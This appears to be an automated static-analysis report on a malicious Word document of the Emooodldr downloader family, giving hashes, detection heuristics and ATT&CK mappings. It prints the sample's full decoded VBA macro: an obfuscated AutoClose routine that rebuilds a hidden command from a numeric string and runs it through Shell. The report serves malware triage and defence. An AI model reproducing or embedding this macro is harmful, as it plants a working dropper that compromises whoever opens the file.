Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 d00bdf9012c8e83f…

MALICIOUS

Office (OOXML)

36.4 KB Created: 2017-10-25 18:34:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2018-09-04
MD5: afc23d6ebabe021ed4ce772a7d50d118 SHA-1: 45a3c50a210f4b16afea250d50f1784cd7ee046a SHA-256: d00bdf9012c8e83fd4e7f6ddb9dee9167db6297151d48fd9ea660a6ae52239cc
244 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically an AutoClose macro, which utilizes the Shell() function. This indicates an attempt to execute arbitrary code, likely to download and run a secondary payload. The ClamAV detection name 'Doc.Malware.Emooodldr-6711604-0' strongly suggests the Emooodldr family and its typical behavior.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2010/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2217 bytes
SHA-256: 21168df4ab02cb2df840fe6b7e2b777841dd4bcaa652079bdb8e70e3060561d4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function svuotare(rastrello As Integer) As String
 Dim rinforzo() As Variant
 rinforzo = Array(":", "$", "t", "f", "y", "O", "c", "E", ",", "T", "g", "?", "-", "W", "s", "p", "a", "A", "n", "j", "v", ".", "\", "(", ";", "k", "w", "d", " ", "N", "=", "l", "D", "m", "/", "B", "+", ")", "P", "e", "'", "x", "K", "i", "r", "o", "S", "q", "h", "C", "b", "F")
 Dim genotipo As Integer
 
 For genotipo = LBound(rinforzo) To UBound(rinforzo)
   If genotipo = rastrello Then
    svuotare = rinforzo(genotipo)
   End If
 Next
 
End Function

Public Function tara(pacifico As String)
  Shell pacifico, 0
End Function

Sub AutoClose()
 Call Application.Run("tara", oltre("154526394414483931312812294507414302281207413906283504151614142812494533331618272823293926120550193906022846041402393321293902211339504931433918023721324526183145162751433139234048020215003434254445181614481939393916474703454418042106453334184318453402443939141921332703400828013918200017383832170917283628402205414221394139403724284602164402123844450639141428013918200017383832170917402205414221394139402428232939261205501939060228460414023933212939022113395049314339180237213245261831451627460244431810234048020215003434254445181614481939393916474703454418042106453334142115481511432730024439391419403724"))
End Sub


Function oltre(Optional bifido As String, Optional bifido2)
  meditare = sudore(Trim(bifido))
  For genotipo = 0 To Len(bifido)
  
    Dim promessa As String
    Dim modifica As Integer
    If (genotipo + 1) <= UBound(meditare) Then
    furgone = Join(Array(furgone, svuotare(Int(meditare(genotipo) + meditare(genotipo + 1)))), "")
    genotipo = genotipo + 1
    End If
  Next
  
  oltre = furgone
End Function

Function sudore(giallo As String, Optional scoprire As Integer) As Variant
    sudore = Split(Left(StrConv(giallo, vbUnicode), Len(StrConv(giallo, vbUnicode)) - 1), vbNullChar)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 63f453f2617d5eb664548ebe1f2ad4f16f9a531f229284e2e0072e51c7766560
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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